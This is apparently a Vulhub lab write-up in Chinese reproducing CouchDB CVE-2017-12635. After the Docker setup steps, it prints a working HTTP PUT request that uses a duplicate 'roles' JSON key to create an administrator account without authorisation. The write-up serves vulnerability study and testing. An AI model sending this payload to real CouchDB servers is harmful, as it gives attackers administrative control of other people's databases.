Couchdb 垂直權限繞過漏洞(CVE-2017-12635)
Path couchdb/CVE-2017-12635
Apache CouchDB是一個開源數據庫,專注于易用性和成為”完全擁抱web的數據庫”。它是一個使用JSON作為存儲格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數據庫。應用廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript對JSON解析方式的不同,導致語句執行產生差異性導致的。這個漏洞可以讓任意用戶創建管理員,屬于垂直權限繞過漏洞。
影響版本:小于 1.7.0 以及 小于 2.1.1
參考鏈接:
測試環境
編譯及啟動環境:
docker-compose build
docker-compose up -d
環境啟動后,訪問http://your-ip:5984/_utils/即可看到一個web頁面,說明Couchdb已成功啟動。但我們不知道密碼,無法登陸。
漏洞復現
首先,發送如下數據包:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
可見,返回403錯誤:{"error":"forbidden","reason":"Only _admin may set roles"},只有管理員才能設置Role角色:

發送包含兩個roles的數據包,即可繞過限制:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
成功創建管理員,賬戶密碼均為vulhub:

再次訪問http://your-ip:5984/_utils/,輸入賬戶密碼vulhub,可以成功登錄:

Vulhub 文檔